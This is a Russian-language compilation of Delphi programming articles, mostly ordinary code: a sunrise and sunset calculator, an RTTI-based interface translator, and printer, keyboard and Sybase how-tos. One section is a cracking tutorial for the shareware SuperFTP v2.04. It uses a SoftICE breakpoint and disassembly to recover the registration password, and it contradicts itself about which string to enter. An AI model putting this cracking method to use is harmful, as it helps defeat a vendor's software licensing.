Статьи по Delphi (017)…

Определение восхода и захода солнца и луны.

Статьи по Delphi (017)…

Автор: Александр Ермолаев.

sunproject.dpr

program sunproject;
uses
  Forms,
  main in 'main.pas' {Sun};
{$R *.RES}
begin
  Application.Initialize;
  Application.Title := 'Sun';
  Application.CreateForm(TSun, Sun);
  Application.Run;
end.

Main.dfm.

object Sun: TSun
  Left = 210
    Top = 106
    BorderIcons = [biSystemMenu, biMinimize]
    BorderStyle = bsSingle
    Caption = 'Sun'
    ClientHeight = 257
    ClientWidth = 299
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    Position = poDesktopCenter
    OnCreate = CreateForm
    PixelsPerInch = 96
    TextHeight = 13
    object GroupBoxInput: TGroupBox
    Left = 4
      Top = 4
      Width = 173
      Height = 93
      Caption = ' Ввод '
      TabOrder = 0
      object LabelLongitude: TLabel
      Left = 35
        Top = 44
        Width = 78
        Height = 13
        Alignment = taRightJustify
        Caption = 'Долгота (град):'
    end
    object LabelTimeZone: TLabel
      Left = 13
        Top = 68
        Width = 100
        Height = 13
        Alignment = taRightJustify
        Caption = 'Часовая зона (час):'
    end
    object LabelAtitude: TLabel
      Left = 40
        Top = 20
        Width = 73
        Height = 13
        Alignment = taRightJustify
        Caption = 'Широта (град):'
    end
    object EditB5: TEdit
      Tag = 1
        Left = 120
        Top = 16
        Width = 37
        Height = 21
        TabOrder = 0
        Text = '0'
    end
    object EditL5: TEdit
      Tag = 2
        Left = 120
        Top = 40
        Width = 37
        Height = 21
        TabOrder = 1
        Text = '0'
    end
    object EditH: TEdit
      Tag = 3
        Left = 120
        Top = 64
        Width = 37
        Height = 21
        TabOrder = 2
        Text = '0'
    end
  end
  object GroupBoxCalendar: TGroupBox
    Left = 184
      Top = 4
      Width = 109
      Height = 93
      Caption = ' Календарь '
      TabOrder = 1
      object LabelD: TLabel
      Left = 19
        Top = 20
        Width = 30
        Height = 13
        Alignment = taRightJustify
        Caption = 'День:'
    end
    object LabelM: TLabel
      Left = 13
        Top = 44
        Width = 36
        Height = 13
        Alignment = taRightJustify
        Caption = 'Месяц:'
    end
    object LabelY: TLabel
      Left = 28
        Top = 68
        Width = 21
        Height = 13
        Alignment = taRightJustify
        Caption = 'Год:'
    end
    object EditD: TEdit
      Tag = 1
        Left = 56
        Top = 16
        Width = 37
        Height = 21
        TabOrder = 0
        Text = '0'
    end
    object EditM: TEdit
      Tag = 2
        Left = 56
        Top = 40
        Width = 37
        Height = 21
        TabOrder = 1
        Text = '0'
    end
    object EditY: TEdit
      Tag = 3
        Left = 56
        Top = 64
        Width = 37
        Height = 21
        TabOrder = 2
        Text = '0'
    end
  end
  object ButtonCalc: TButton
    Left = 12
      Top = 227
      Width = 169
      Height = 25
      Caption = '&Вычислить'
      TabOrder = 2
      OnClick = ButtonCalcClick
  end
  object ListBox: TListBox
    Left = 4
      Top = 104
      Width = 289
      Height = 117
      ItemHeight = 13
      TabOrder = 3
  end
  object ButtonClear: TButton
    Left = 192
      Top = 227
      Width = 91
      Height = 25
      Caption = '&Очистить'
      TabOrder = 4
      OnClick = ButtonClearClick
  end
end

Main.pas.

{
Программа вычисляет время восхода и захода
солнца по дате (с точностью до минуты) в пределах
нескольких текущих столетий. Производит корректировку, если
географическая
точка находится в арктическом или антарктическом регионе, где заход
или восход солнца
на текущую дату может не состояться. Вводимые данные: положительная
северная широта и
отрицательная западная долгота. Часовой пояс указывается относительно
Гринвича
(например, 5 для EST и 4 для EDT). Алгоритм обсуждался в
"Sky & Telescope" за август 1994, страница 84.
}
unit main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs,
  StdCtrls;
type
  TSun = class(TForm)
    GroupBoxInput: TGroupBox;
    LabelLongitude: TLabel;
    EditB5: TEdit;
    EditL5: TEdit;
    LabelTimeZone: TLabel;
    EditH: TEdit;
    GroupBoxCalendar: TGroupBox;
    LabelD: TLabel;
    LabelM: TLabel;
    LabelY: TLabel;
    EditD: TEdit;
    EditM: TEdit;
    EditY: TEdit;
    ButtonCalc: TButton;
    ListBox: TListBox;
    ButtonClear: TButton;
    LabelAtitude: TLabel;
    procedure Calendar; // Календарь
    procedure GetTimeZone; // Получение часового пояса
    procedure PosOfSun; // Получаем положение солнца
    procedure OutInform; // Процедура вывода информации
    procedure PossibleEvents(Hour: integer); // Возможные события на
    полученный час
    procedure GetDate; //Получить значения даты
    procedure GetInput; //Получить значения широты,...
    procedure ButtonCalcClick(Sender: TObject);
    procedure CreateForm(Sender: TObject);
    procedure ButtonClearClick(Sender: TObject);
  private
    function Sgn(Value: Double): integer; // Сигнум
  public
    { Public declarations }
  end;
var
  Sun: TSun;
  st: string;
  aA, aD: array[1..2] of double;
  B5: integer;
  L5: double;
  H: integer;
  Z, Z0, Z1: double;
  D: double;
  M, Y: integer;
  A5, D5, R5: double;
  J3: integer;
  T, T0, TT, T3: double;
  L0, L2: double;
  H0, H1, H2, H7, N7, D7: double;
  H3, M3: integer;
  M8, W8: double;
  A, B, A0, D0, A2, D1, D2, DA, DD: double;
  E, F, J, S, C, P, L, G, V, U, W: double;
  V0, V1, V2: double;
  C0: integer;
  AZ: double;
const
  P2 = Pi * 2; // 2 * Pi
  DR = Pi / 180; // Радиан на градус
  K1 = 15 * DR * 1.0027379;
implementation
{$R *.DFM}
function TSun.Sgn(Value: Double): integer;
begin
  {if Value = 0 then} Result := 0;
  if Value > 0 then
    Result := 1;
  if Value < 0 then
    Result := -1;
end;
procedure TSun.Calendar;
begin
  G := 1;
  if Y < 1583 then
    G := 0;
  D1 := Trunc(D);
  F := D - D1 - 0.5;
  J := -Trunc(7 * (Trunc((M + 9) / 12) + Y) / 4);
  if G = 1 then
  begin
    S := Sgn(M - 9);
    A := Abs(M - 9);
    J3 := Trunc(Y + S * Trunc(A / 7));
    J3 := -Trunc((Trunc(J3 / 100) + 1) * 3 / 4);
  end;
  J := J + Trunc(275 * M / 9) + D1 + G * J3;
  J := J + 1721027 + 2 * G + 367 * Y;
  if F >= 0 then
    Exit;
  F := F + 1;
  J := J - 1;
end;
procedure TSun.GetTimeZone;
begin
  T0 := T / 36525;
  S := 24110.5 + 8640184.813 * T0;
  S := S + 86636.6 * Z0 + 86400 * L5;
  S := S / 86400;
  S := S - Trunc(S);
  T0 := S * 360 * DR;
end;
procedure TSun.PosOfSun;
begin
  //      Фундаментальные константы
  //  (Van Flandern & Pulkkinen, 1979)
  L := 0.779072 + 0.00273790931 * T;
  G := 0.993126 + 0.0027377785 * T;
  L := L - Trunc(L);
  G := G - Trunc(G);
  L := L * P2;
  G := G * P2;
  V := 0.39785 * Sin(L);
  V := V - 0.01000 * Sin(L - G);
  V := V + 0.00333 * Sin(L + G);
  V := V - 0.00021 * TT * Sin(L);
  U := 1 - 0.03349 * Cos(G);
  U := U - 0.00014 * Cos(2 * L);
  U := U + 0.00008 * Cos(L);
  W := -0.00010 - 0.04129 * Sin(2 * L);
  W := W + 0.03211 * Sin(G);
  W := W + 0.00104 * Sin(2 * L - G);
  W := W - 0.00035 * Sin(2 * L + G);
  W := W - 0.00008 * TT * Sin(G);
  // Вычисление солнечных координат
  S := W / Sqrt(U - V * V);
  A5 := L + ArcTan(S / Sqrt(1 - S * S));
  S := V / Sqrt(U);
  D5 := ArcTan(S / Sqrt(1 - S * S));
  R5 := 1.00021 * Sqrt(U);
end;
procedure TSun.PossibleEvents(Hour: integer);
var
  num: string;
begin
  st := '';
  L0 := T0 + Hour * K1;
  L2 := L0 + K1;
  H0 := L0 - A0;
  H2 := L2 - A2;
  H1 := (H2 + H0) / 2; // Часовой угол,
  D1 := (D2 + D0) / 2; // наклон в получасе
  if Hour <= 0 then
    V0 := S * Sin(D0) + C * Cos(D0) * Cos(H0) - Z;
  V2 := S * Sin(D2) + C * Cos(D2) * Cos(H2) - Z;
  if Sgn(V0) = Sgn(V2) then
    Exit;
  V1 := S * Sin(D1) + C * Cos(D1) * Cos(H1) - Z;
  A := 2 * V2 - 4 * V1 + 2 * V0;
  B := 4 * V1 - 3 * V0 - V2;
  D := B * B - 4 * A * V0;
  if D < 0 then
    Exit;
  D := Sqrt(D);
  if (V0 < 0) and (V2 > 0) then
    st := st + 'Восход солнца в ';
  if (V0 < 0) and (V2 > 0) then
    M8 := 1;
  if (V0 > 0) and (V2 < 0) then
    st := st + 'Заход солнца в ';
  if (V0 > 0) and (V2 < 0) then
    W8 := 1;
  E := (-B + D) / (2 * A);
  if (E > 1) or (E < 0) then
    E := (-B - D) / (2 * A);
  T3 := Hour + E + 1 / 120; // Округление
  H3 := Trunc(T3);
  M3 := Trunc((T3 - H3) * 60);
  Str(H3: 2, num);
  st := st + num + ':';
  Str(M3: 2, num);
  st := st + num;
  H7 := H0 + E * (H2 - H0);
  N7 := -Cos(D1) * Sin(H7);
  D7 := C * Sin(D1) - S * Cos(D1) * COS(H7);
  AZ := ArcTan(N7 / D7) / DR;
  if (D7 < 0) then
    AZ := AZ + 180;
  if (AZ < 0) then
    AZ := AZ + 360;
  if (AZ > 360) then
    AZ := AZ - 360;
  Str(AZ: 4: 1, num);
  st := st + ', азимут ' + num;
end;
procedure TSun.OutInform;
begin
  if (M8 = 0) and (W8 = 0) then
  begin
    if V2 < 0 then
      ListBox.Items.Add('Солнце заходит весь день ');
    if V2 > 0 then
      ListBox.Items.Add('Солнце восходит весь день ');
  end
  else
  begin
    if M8 = 0 then
      ListBox.Items.Add('В этот день солнце не восходит ');
    if W8 = 0 then
      ListBox.Items.Add('В этот день солнце не заходит ');
  end;
end;
procedure TSun.GetDate;
begin
  D := StrToInt(EditD.text);
  M := StrToInt(EditM.text);
  Y := StrToInt(EditY.text);
end;
procedure TSun.GetInput;
begin
  B5 := StrToInt(EditB5.Text);
  L5 := StrToInt(EditL5.Text);
  H := StrToInt(EditH.Text);
end;
procedure TSun.ButtonCalcClick(Sender: TObject);
var
  C0: integer;
begin
  GetDate;
  GetInput;
  ListBox.Items.Add('Широта: ' + EditB5.Text +
    ' Долгота: ' + EditL5.Text +
    ' Зона: ' + EditH.Text +
    ' Дата: ' + EditD.Text +
    '/' + EditM.Text +
    '/' + EditY.Text);
  L5 := L5 / 360;
  Z0 := H / 24;
  Calendar;
  T := (J - 2451545) + F;
  TT := T / 36525 + 1; // TT - столетия, начиная с 1900.0
  GetTimeZone; // Получение часового пояса
  T := T + Z0;
  PosOfSun; // Получаем положение солнца
  aA[1] := A5;
  aD[1] := D5;
  T := T + 1;
  PosOfSun;
  aA[2] := A5;
  aD[2] := D5;
  if aA[2] < aA[1] then
    aA[2] := aA[2] + P2;
  Z1 := DR * 90.833; // Вычисление зенита
  S := Sin(B5 * DR);
  C := Cos(B5 * DR);
  Z := Cos(Z1);
  M8 := 0;
  W8 := 0;
  A0 := aA[1];
  D0 := aD[1];
  DA := aA[2] - aA[1];
  DD := aD[2] - aD[1];
  for C0 := 0 to 23 do
  begin
    P := (C0 + 1) / 24;
    A2 := aA[1] + P * DA;
    D2 := aD[1] + P * DD;
    PossibleEvents(C0);
    if st <> '' then
      ListBox.Items.Add(st);
    A0 := A2;
    D0 := D2;
    V0 := V2;
  end;
  OutInform;
  ListBox.Items.Add(''); // Разделяем данные
end;
procedure TSun.CreateForm(Sender: TObject);
begin
  EditD.Text := FormatDateTime('d', Date);
  EditM.Text := FormatDateTime('m', Date);
  EditY.Text := FormatDateTime('yyyy', Date);
end;
procedure TSun.ButtonClearClick(Sender: TObject);
begin
  ListBox.Clear;
end;
end.

Взлом за 1.5 минуты - SuperFTP v2.04 for Win.

Оформил: DeeCo Автор: http://www.cracklab.narod.ru

Объект: Super FTP v2.04 for Windows95/98/NT4.0 Адрес: http://www.sppd.co.jp/sugama/english/ Вступление: Я продолжал искать самый рульный ФТП клиент и наткнулся на это "чудо", в полном смысле этого слова :) Обзор: Я запустил прогу и вижу MessageBox "Trial ... 14 days" Плохо, потому как с виду весч неплохая, по крайней мере красивая :) Стоит ли она $ 4.0 ? Ну да ладно. Захожу в меню Help->Registration и вижу, что надо ввести какой-то пароль. Ну думаю, совсем чудесно. Ctrl-D и Ставлю бряк:
bpx GetDlgItemTextA
Снова Ctrl-D и ввожу вместо пароля "123321". Жму кнопочку и вываливаюсь в Soft-Ice здесь:
015F:00415A5A  6800020000          PUSH      00000200			
015F:00415A5F  6860594200          PUSH      00425960			<--Куда считывать введенный пароль
015F:00415A64  6825040000          PUSH      00000425			   
015F:00415A69  8B4508              MOV       EAX,[EBP+08]
015F:00415A6C  50                  PUSH      EAX
015F:00415A6D  FF1538265900        CALL      [USER32!GetDlgItemTextA]	<--считали
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; по адресу [00423EC0] лежит строка: "KFOGMTPXRLM"	;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
015F:00415A73  0FBE05C03E4200      MOVSX     EAX,BYTE PTR [00423EC0]	<--Взяли первый символ строки "KFOGMTPXRLM", т.е. "K"	
015F:00415A7A  48                  DEC       EAX			<--Отняли 1, т.е. получили "J"
015F:00415A7B  0FBE0D60594200      MOVSX     ECX,BYTE PTR [00425960]	<--и сравниваем с первым символом введённого пароля
015F:00415A82  3BC1                CMP       EAX,ECX			<--то же самое со 2-ми символами
015F:00415A84  0F8545010000        JNZ       00415BCF			<--И так 11 раз...
015F:00415A8A  0FBE05C13E4200      MOVSX     EAX,BYTE PTR [00423EC1]
015F:00415A91  48                  DEC       EAX
015F:00415A92  0FBE0D61594200      MOVSX     ECX,BYTE PTR [00425961]
015F:00415A99  3BC1                CMP       EAX,ECX
015F:00415A9B  0F852E010000        JNZ       00415BCF
015F:00415AA1  0FBE05C23E4200      MOVSX     EAX,BYTE PTR [00423EC2]
015F:00415AA8  48                  DEC       EAX
015F:00415AA9  0FBE0D62594200      MOVSX     ECX,BYTE PTR [00425962]
015F:00415AB0  3BC1                CMP       EAX,ECX
015F:00415AB2  0F8517010000        JNZ       00415BCF
Т.е. достаточно отнять от каждого символа строки "KFOGMTPXRLM" единицу и мы получим строку: "JENFLSOWQKL", которая и будет правильным паролем. Вводим "KFOGMTPXRLM" и убеждаемся, что японские программисты - самые рульные на свете :) Так держать пацаны! P.S. Простенько и со вкусом. Исследовал и наваял туториал: vallkor //PTDS e-mail: vallkor@chat.ru (vallkor@etel.dn.ua) Page : http://vallkor.chat.ru

Поддержка многоязычного интерфейса.

Программирование на С++ у госслужащих - как секс у подростков: - все об этом думают; - все об этом говорят; - все думают, что их ближний это делает; - почти никто этого не делает; - тот, кто это делает, делает это плохо; - все думают, что в следующий раз лучше получится; - никто не принимает мер безопасности; - любому стыдно признаться в том, что он чего-то не знает; - если у кого-то что-то получается, от этого всегда много шума.

Подчас бывает актуально встроить в разрабатываемую программу поддержку нескольких языков. Существует множество средств и компонентов для осуществления подобных задач. У всех этих средств один недостаток - они слишком сложны и тяжеловесны. Предлагаем рассмотреть, как можно обеспечить поддержку многоязычности используя более простой и прозрачный метод.

Первое, что нужно выяснить - это язык, на котором разрабатывать интерфейс первоначально. Есть веские причины за то, чтобы использовать для этого именно тот язык, на котором написана эта статья. Дело в том, что русский язык менее лаконичен других европейских языков. При переводе на английский или немецкий 90% фраз будет компактнее и интерфейс вашей программы искажен не будет.

Для поддержки нескольких языков предлагается следующий простой подход. Интерфейс оформляется на родном языке - русском. Для всех остальных языков составляется словарь в виде:

Строка на языке 1=Строка на языке 2
Строка на языке 1=Строка на языке 2

Например:

Файл=File
Выход=Exit
Отмена=Cancel

И так для всех ресурсов приложения. Словарь поместим в отдельный текстовый файл.

Далее, нам необходимо для каждого текстового свойства любого компонента приложения поискать перевод в нашем словаре. Здесь не обойтись без Delphi RTTI. Через Component.ClassInfo получим ссылку на информацию типа, а затем GetTypeData(TypeInf) даст нам указатель на структуру с его описанием.

TypeInf := Component.ClassInfo;
AName := TypeInf^.name; 
TypeData := GetTypeData(TypeInf); 
NumProps := TypeData^.PropCount; 

Далее проходимся по всем свойствам данного (классового) типа:

GetMem(PropList, NumProps * sizeof(pointer));
try
  GetPropInfos(TypeInf, PropList);
  for i := 0 to NumProps-1 do
  begin
    PropName := PropList^[i]^.name;
    PropTypeInf := PropList^[i]^.PropType^;
    PropInfo := PropList^[i];
    case PropTypeInf^.Kind of
      tkString, tkLString: //... это то, что нам нужно
        if PropName <> 'Name' then { Переводить свойство Name не следует }
        begin
          { Получение значения свойства и поиск перевода в словаре }
          StringPropValue := GetStrProp(Component, PropInfo);
          SetStrProp(Component, PropInfo, TranslateString(StringPropValue));
        end;
...
...

Отдельный случай - списки TStrings и коллекции типа TTReeNodes и TListItems. Их придется обработать персонально.

tkClass:
begin
  PropObject := GetObjectProp(Component, PropInfo{, TPersistent});
  if Assigned(PropObject)then
  begin
    { Для дочерних свойств-классов вызов просмотра свойств }
    if (PropObject is TPersistent) then
      UpdateComponent(PropObject as TPersistent);
    { Индивидуальный подход к некоторым классам }
    if (PropObject is TStrings) then
    begin
      for j := 0 to (PropObject as TStrings).Count-1 do
        TStrings(PropObject)[j] := TranslateString(TStrings(PropObject)[j]);
    end;
    if (PropObject is TTreeNodes) then
    begin
      for j := 0 to (PropObject as TTreeNodes).Count-1 do
        TTreeNodes(PropObject).Item[j].Text :=
        TranslateString(TTreeNodes(PropObject).Item[j].Text);
    end;
    if (PropObject is TListItems) then
    begin
      for j := 0 to (PropObject as TListItems).Count-1 do
        TListItems(PropObject).Item[j].Caption
        := TranslateString(TListItems(PropObject).Item[j].Caption);
    end;
{ Здесь можно добавить обработку остальных классов }
end; 
end;

Объединяя все написанное, получим компонент для перевода строковых ресурсов.

unit glLanguageLoader;
interface
{$I glDEF.INC}
uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, comctrls, grids;
type
  TLanguageLoaderOptions = set of (lofTrimSpaces);
  {опция удаления начальных и завершающих пробелов}
  TglLanguageLoader = class(TComponent)
  private
    sl: TStringList;
    FOptions: TLanguageLoaderOptions;
    function TranslateString(sString: string): string;
  protected
    procedure UpdateComponent(Component: TPersistent); virtual;
  public
    {main function}
    procedure LoadLanguage(Component: TComponent; FileName: string);
  published
    property Options: TLanguageLoaderOptions read FOptions write FOptions;
  end;
  procedure LoadLanguage(Component: TComponent; FileName: string;
  Options: TLanguageLoaderOptions);
  procedure register;
implementation
uses
  TypInfo, dsgnintf;
procedure register;
begin
  RegisterComponents('Gl Components', [TglLanguageLoader]);
end;
{Ф-ия для загрузки словаря без предварительного создания компонента}
procedure LoadLanguage(Component: TComponent; FileName: string;
Options: TLanguageLoaderOptions);
var
  LanguageLoader: TglLanguageLoader;
begin
  LanguageLoader := TglLanguageLoader.Create(nil);
  try
    LanguageLoader.LoadLanguage(Component, FileName);
  finally
    LanguageLoader.Free;
  end;
end;
{ TglLanguageLoader }
{ Загрузка словаря, обход указанного компонента и }
{ всех его дочерних компонентов }
procedure TglLanguageLoader.LoadLanguage(Component: TComponent; FileName: string);
  procedure UpdateAllComponents(Component: TComponent);
  var
    i: integer;
  begin
    { обработка своцств компонента }
    UpdateComponent(Component);
    for i := 0 to Component.ComponentCount-1 do
      UpdateAllComponents(Component.Components[i]);
  end;
begin
  sl := TStringList.Create;
  try
    { Загрузка словаря из заданного файла }
    sl.LoadFromFile(FileName);
    sl.Sorted := true;
    UpdateAllComponents(Component);
  finally
    sl.Free;
  end;
end;
{ Проход по всем свойствам компонента }
{ Для всех строковых свойств - загрузка перевода из сооваря }
procedure TglLanguageLoader.UpdateComponent(Component: TPersistent);
var
  PropInfo: PPropInfo;
  TypeInf, PropTypeInf: PTypeInfo;
  TypeData: PTypeData;
  i, j: integer;
  AName, PropName, StringPropValue: string;
  PropList: PPropList;
  NumProps: word;
  PropObject: TObject;
begin
  { Playing with RTTI }
  TypeInf := Component.ClassInfo;
  AName := TypeInf^.name;
  TypeData := GetTypeData(TypeInf);
  NumProps := TypeData^.PropCount;
  GetMem(PropList, NumProps*sizeof(pointer));
  try
    GetPropInfos(TypeInf, PropList);
    for i := 0 to NumProps-1 do
    begin
      PropName := PropList^[i]^.name;
      PropTypeInf := PropList^[i]^.PropType^;
      PropInfo := PropList^[i];
      case PropTypeInf^.Kind of
        tkString, tkLString:
          if PropName <> 'Name' then { Переводить свойство Name не следует }
          begin
            { Получение значения свойства и поиск перевода в словаре }
            StringPropValue := GetStrProp( Component, PropInfo );
            SetStrProp( Component, PropInfo, TranslateString(StringPropValue) );
          end;
        tkClass:
        begin
          PropObject := GetObjectProp(Component, PropInfo{, TPersistent});
          if Assigned(PropObject)then
          begin
            { Для дочерних свойств-классов вызов просмотра свойств }
            if (PropObject is TPersistent) then
              UpdateComponent(PropObject as TPersistent);
            { Индивидуальный подход к некоторым классам }
            if (PropObject is TStrings) then
            begin
              for j := 0 to (PropObject as TStrings).Count-1 do
                TStrings(PropObject)[j] := TranslateString(TStrings(PropObject)[j]);
            end;
            if (PropObject is TTreeNodes) then
            begin
              for j := 0 to (PropObject as TTreeNodes).Count-1 do
                TTreeNodes(PropObject).Item[j].Text :=
                TranslateString(TTreeNodes(PropObject).Item[j].Text);
            end;
            if (PropObject is TListItems) then
            begin
              for j := 0 to (PropObject as TListItems).Count-1 do
                TListItems(PropObject).Item[j].Caption :=
                TranslateString(TListItems(PropObject).Item[j].Caption);
            end;
            { Здесь можно добавить обработку остальных классов }
          end;
        end;
      end;
    end;
  finally
    FreeMem(PropList, NumProps*sizeof(pointer));
  end;
end;
{ Поиск перевода для заданной строки в словаре }
function TglLanguageLoader.TranslateString(sString: string): string;
begin
  if lofTrimSpaces in Options then
    sString := trim(sString);
  if sString = '' then
  begin
    Result := '';
    exit;
  end;
  if sl.IndexOfName(sString) <> -1 then
    Result := sl.Values[sString]
  else
    Result := sString;
end; 
end.

Как узнать все форматы бумаги, поддерживаемые принтером по умолчанию.

Ниже представлена процедура, которая имеет в качестве параметра любой объект StringList - Строки для Memo, Пункты Combo и т.д.

procedure GetPaperFormats(aSL: TStringList);
type
  TPaperName = array[0..63] of Char;
  TPaperNameArray = array[1..High(Cardinal) div
    Sizeof(TPaperName)] of
    TPaperName;
  PPapernameArray = ^TPaperNameArray;
var
  Device, Driver, Port: array[0..255] of Char;
  hDevMode: THandle;
  i, numPaperformats: Integer;
  pPaperFormats: PPapernameArray;
begin
  Printer.PrinterIndex := -1;
  Printer.GetPrinter(Device, Driver, Port, hDevmode);
  numPaperformats :=
    WinSpool.DeviceCapabilities(
    Device, Port, DC_PAPERNAMES, nil, nil);
  if numPaperformats > 0 then
  begin
    GetMem(pPaperformats,
      numPaperformats *
      Sizeof(TPapername));
    try
      WinSpool.DeviceCapabilities
        (Device, Port, DC_PAPERNAMES,
        Pchar(pPaperFormats), nil);
      aSL.clear;
      for i := 1 to numPaperformats do
        aSL.lines.add(pPaperformats^[i]);
    finally
      FreeMem(pPaperformats);
    end;
  end;
end;

Использование:

GetPaperFormats(Memo1.Lines);

Приостановить ПК.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

SetSystemPowerState(False, True);  //Forces the system down 
SetSystemPowerState(True, False); //Makes a "soft" off 

Как поменять функции кнопок мышки.

Статьи по Delphi (017)…

Хакер читает внуку сказку: - ... стал он кликать золотую рыбку. - А почему рыбку? - А потому, дружок, что мышек, тогда еще не было.
begin
  SwapMouseButton(true);  // Поменять
  SwapMouseButton(false); // Поменять обратно
end;

Преобразовать файл Flash SWF в EXE.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function Swf2Exe(S, D, F: string): string;
   //S = Source file (swf) 
  //D = Destionation file (exe) 
  //F = Flash Player 
var
   SourceStream, DestinyStream, LinkStream: TFileStream;
   flag: Cardinal;
   SwfFileSize: Integer;
 begin
   Result := 'something error';
   DestinyStream := TFileStream.Create(D, fmCreate);
   try
     LinkStream := TFileStream.Create(F, fmOpenRead or fmShareExclusive);
     try
       DestinyStream.CopyFrom(LinkStream, 0);
     finally
       LinkStream.Free;
     end;
     SourceStream := TFileStream.Create(S, fmOpenRead or fmShareExclusive);
     try
       DestinyStream.CopyFrom(SourceStream, 0);
       flag := $FA123456;
       DestinyStream.WriteBuffer(flag, SizeOf(Integer));
       SwfFileSize := SourceStream.Size;
       DestinyStream.WriteBuffer(SwfFileSize, SizeOf(Integer));
       Result := '';
     finally
       SourceStream.Free;
     end;
   finally
     DestinyStream.Free;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Swf2Exe('c:\somefile.swf', 'c:\somefile.exe',
     'c:\Program Files\Macromedia\Flash MX\Players\SAFlashPlayer.exe');
 end;

Как программно переключить раскладку клавиатуры.

Microsoft выпустила новую клавиатуру с дополнительной педалью, которая нажимает сразу три клавиши, и новый корпус, у которого по кнопке Reset можно бить кулаком.
//На русский
procedure TForm1.Button1Click(Sender: TObject);
var
  Layout: array[0.. KL_NAMELENGTH] of char;
begin
  LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE);
end;
//На английский
procedure TForm1.Button2Click(Sender: TObject);
var
  Layout: array[0.. KL_NAMELENGTH] of char;
begin
  LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE);
end;

Переключиться в режим StandBy.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.Button1Click(Sender: TObject);
 begin
   SendMessage(Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 1);
 end;

32-битное соединение с сервером Sybase.

Если Админ в 09:00 на рабочем месте - значит, сервер не работает.
Данный документ содержит информацию, позволяющую осуществить подключение к базе данных Sybase через 32-битный пакет от фирмы Borland Sybase SQL Links, поставляемый в составе Delphi 2.x. Клиентское программное обеспечение Sybase займет на вашем жестком диске приблизительно 10+ мегабайт свободного пространства. Шаги для подключения: Убедитесь в том, что пакет SQL Links установлен на вашем локальном диске. При полной установке Delphi 2.x это должно быть уже установлено в системе. Инсталируйте клиентское программное обеспечение Sybase. При появлявлении в процессе установки диалога выбора 16- и 32-разрядной версии Sybase links, выберите только 32-битную версию (отметьте галочкой) и убедитесь в том, что опция 16-битной версии выключена. После того, как клиентское программное обеспечение будет установлено на вашем жестком диске, у вас попросят разрешение на автоматическую программную коррекцию вашего файла AUTOEXEC.BAT. Выберите YES. На запрос по поводу редактирования вашего файла SQL.INI ответьте YES. В секции "Input Server Name:" (введите имя сервера) укажите псевдоним сервера. Щелкните на кнопке 'Add' (добавить) для внесения имени сервера в список "Server Entry:". Затем убедитесь в том, что поля редактирования "Service Type:" (тип сервиса) (должно быть 'query' (запрос)), "Platform:" (платформа) (по умолчанию обычно устанавливается в NT, dos или Win3), и "Net-Library Driver:" (драйвер сетевой библиотеки) (должен быть NLWNSCK или NLNWLINK) содержат верные сведения. Заполните поле редактирования "Connection Information/Network Address:" (адрес информационного/сетевого соединения), введя сетевой адрес сервера, с которым вы хотите иметь соединение. Щелкните на кнопке 'Add Service' (добавить сервис). Вы можете теперь пропинговать ваш сервер, щелкая по кнопке 'Ping'. Сохраните текущие настройки и выйдите из программы. Завершите работу Windows и перегрузите машину. В меню пуск выберите программную группу Delphi и запустите Database Explorer. В Навигаторе баз данных (Database explorer) щелкните на закладке Database. Активизируйте пункт меню Object | New... В диалоговом окне в выпадающем списке должно стоять имя STANDARD. Щелкните на стрелке и выберите из появившегося списка SYBASE. Теперь там должен быть псевдоним для вашего соединения с Sybase с именем SYBASE1. Убедитесь в том, что это имя выделено. Щелкните в Database Explorer на следующей закладке. В секции "Server Name" (имя сервера) выберите имя одного из серверов, которые вы поместили в ваш SQL.INI, и который пингуется. В секции "User Name" укажите имя пользователя, имеющего права на доступ к определенному в секции "Server Name" серверу. Убедитесь в том, что вы знаете пароль только что назначенного пользователя. Дважды щелкните на имене псевдонима (SYBASE1) и в появившемся диалоговом окне введите имя пользователя и его пароль. Имя пользователя должно совпадать с именем, определенным в секции "User Name" для псевдонима Sybase. Введите пароль, соответствующий данному пользователю. Нажмите кнопку OK. Теперь около псевдонима Sybase (SYBASE1) вы должны увидеть иконку, обозначающую маленький зеленый ящик. Это означает успешное установление соединения. Тестирование вашего соединения с помощью Delphi 2.x: Разместите на пустой форме компоненты TDataSource, TTable и TDBGrid. В Инспекторе Объектов (Object Inspector) установите для TDataSource свойство DataSet в 'Table1' (без кавычек). В Инспекторе Объектов установите для TTable имя базы данных в SYBASE1. Переместитесь ниже до свойства TableName, и дважды щелкните на поле редактирования, расположенного около данного свойства. Должно появиться диалоговое окно с требованием ввести имя пользователя и его пароль. При этом должно уже отображаться имя пользователя, которое вы определили в Database Explorer для псевдонима Sybase. Введите соответствующий пароль. Нажмите на кнопку OK. Теперь вы должны увидеть спискок, состоящий из имен таблиц. Выберите одно. Щелкните на TDBGrid. Присвойте его свойству DataSource значение DataSource1. Установите свойство Active компонента TTable в TRUE. Теперь вы можете увидеть данные в TDBGrid. После запуска приложения должно появиться диалоговое окно с требованием ввести имя пользователя и его пароль. Введите пароль и нажмите OK. Теперь вы должны увидеть данные в табличной сетке. Сообщения об ошибках: Ошибка, связанная с невозможностью нахождения сетевой библиотеки: Данная ошибка означает, что программе не удалось найти нужную ей .DLL. Следующие файлы должны распологаться в вашем каталоге \Sybase\DLL:
Libblk.dll
Libcomn.dll
Libcs.dll
Libct.dll
Libintl.dll
Libsrv.dll
Libsybdb.dll
Libtcl.dll
Mscvrt10.dll
Nldecnet.dll
Nlmsnmp.dll
Nlnwadvt.exe
Nlnwlink.dll
Nlwnsck.dll

Предостережение: Данный документ не гарантирует установление соединения с сервером, он демонстрирует самый лучший и быстрый способ сделать это.

Получить количество вхождений символа в строку.

